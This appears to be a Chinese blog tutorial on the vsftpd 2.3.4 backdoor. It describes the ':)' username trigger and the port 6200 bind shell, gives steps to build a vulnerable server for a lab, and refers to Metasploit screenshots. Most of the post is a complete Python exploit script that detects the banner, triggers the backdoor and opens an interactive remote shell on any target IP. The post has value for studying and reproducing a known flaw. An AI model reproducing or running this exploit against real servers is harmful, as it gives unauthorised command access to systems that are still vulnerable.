Vsftpd2.3.4后门利用脚本编写

一、漏洞介绍

       该版本的 VSFTPD 存在一个后门漏洞。虽然该问题迅速得到了开发人员的修复及删除,但是仍有不少人已经下载安装了该漏洞版本。这个后门的载荷以 :)字符的形式拼接在用户名上。后门代码绑定的侦听端口是 6200 。

二、漏洞复现

       Linux源代码安装Vsftpd2.3.4:

       wget http://xiazai.xiazaiba.com/Soft/V/vsftpd-2.3.4.tar.gz       #下载安装包

       tar zxvf vsftpd-2.3.4.tar.gz            #解压

       cd vsftpd-2.3.4                     #进入目录

       cat builddefs.h              #看它默认都启用了什么功能,更具体的可以more INSTALL(查看帮助文件);undef 为不启用、Define为启用

       Vi opts.c               

       if (str_equal_text(&p_sess->ftp_arg_str,"UTF8 ON")) 更改成 if (str_equal_text(&p_sess->ftp_arg_str,"DISABLE UTF8 ON")) 

       #解决编码问题

       sed -i 's/lib\//lib64\//g' vsf_findlibs.sh      #安装之前,如果系统为64位,需要更改vsf_findlibs.sh文件库中lib 路径

       Make && make install             #开始安装 进程中没有提示什么错误信息,表示已经成功安装

       接下来需要复制些文件

       cp vsftpd.conf /etc           #配置主文件     

       cp RedHat/vsftpd.pam /etc/pam.d/ftp   #PAM 认证文件

        /usr/local/sbin/vsftpd &                 #启动vsftpd 

        netstat -tnl | grep 21                     #查看

三、漏洞利用

启动Kali ,输入msfconsole进入metasploit

Vsftpd2.3.4后门利用脚本编写

search vsftpd     #查找该版本相关漏洞

Vsftpd2.3.4后门利用脚本编写

漏洞利用

Vsftpd2.3.4后门利用脚本编写

getshell

Vsftpd2.3.4后门利用脚本编写

四、poc编写


import socket
import sys
import threading 
import time

class Cores(object):
    RED = '\033[1;31m'
    BLUE = '\033[94m'
    BOLD = '\033[1m'
    GREEN = '\033[32m'
    OTRO = '\033[36m'
    YELLOW = '\033[33m'
    ENDC = '\033[0m'

class Exploit(object):
    def __init__(self):
        self.ip = None
        self.port = None
        self.port_backdoor = 6200    
    def help(self):
        helper = Cores.YELLOW + '''
coded by: RNX
[*] Usage: python {} <ip> <port>
        '''.format(sys.argv[0])
	print helper
    def verify_args(self):
        try:
            self.ip = str(sys.argv[1])
            self.port = int(sys.argv[2])
        except IndexError:
            self.help()
            sys.exit()
    def connect_ftp_port(self, ip, port):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        banner = s.recv(1024)
        time.sleep(1)
        if( 'vsFTPd 2.3.4' in banner ):
            print Cores.RED + '[+] ExPloItInG...'
            print Cores.BLUE + '\n[*] Opening port 6200...'
            s.send('USER qwertyuuu:)\r\n')
            dados = s.recv(1024)
            s.send('PASS qwertyuuu:)\r\n')
            dados = s.recv(1024)
        else:
            print Cores.RED + '\n[!] vsFTPd 2.3.4 not found'
            sys.exit()
    def response_shell(self, sock, status):
        sock.settimeout(5)
        while( status == True ):
            try:
                print sock.recv(1024).strip() + '\n'
            except socket.timeout:
                pass
            except Exception:
                return
    def connect_port_backdoor(self):
        backdoor_status = True
        portbackdoorConnect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connect_ftp_port(self.ip, self.port)
        try:
            print Cores.BLUE + '[*] Connecting port 6200...'
            portbackdoorConnect.connect((self.ip, self.port_backdoor))
            time.sleep(3)
        except Exception:
            print Cores.RED + '[-] Error to connect port 6200!'
            sys.exit()
        shellThread = threading.Thread(target=self.response_shell, args=(portbackdoorConnect, backdoor_status))
        shellThread.start()
        print Cores.ENDC + '\n[*] ExPlOiT SuCcEssFulLy\n'
        while( True ):
            command = raw_input()
            if( command == 'exit' ):
                portbackdoorConnect.close()
                shellThread.join()
                sys.exit()
            else:
                portbackdoorConnect.send(command + '\n')
    def run(self):
        self.verify_args()
        self.connect_port_backdoor()
def main():
    exploit = Exploit()
    exploit.run()

if( __name__ == '__main__' ):
    main()

 

上一篇:linux开启FTP服务


下一篇:vsftpd备忘点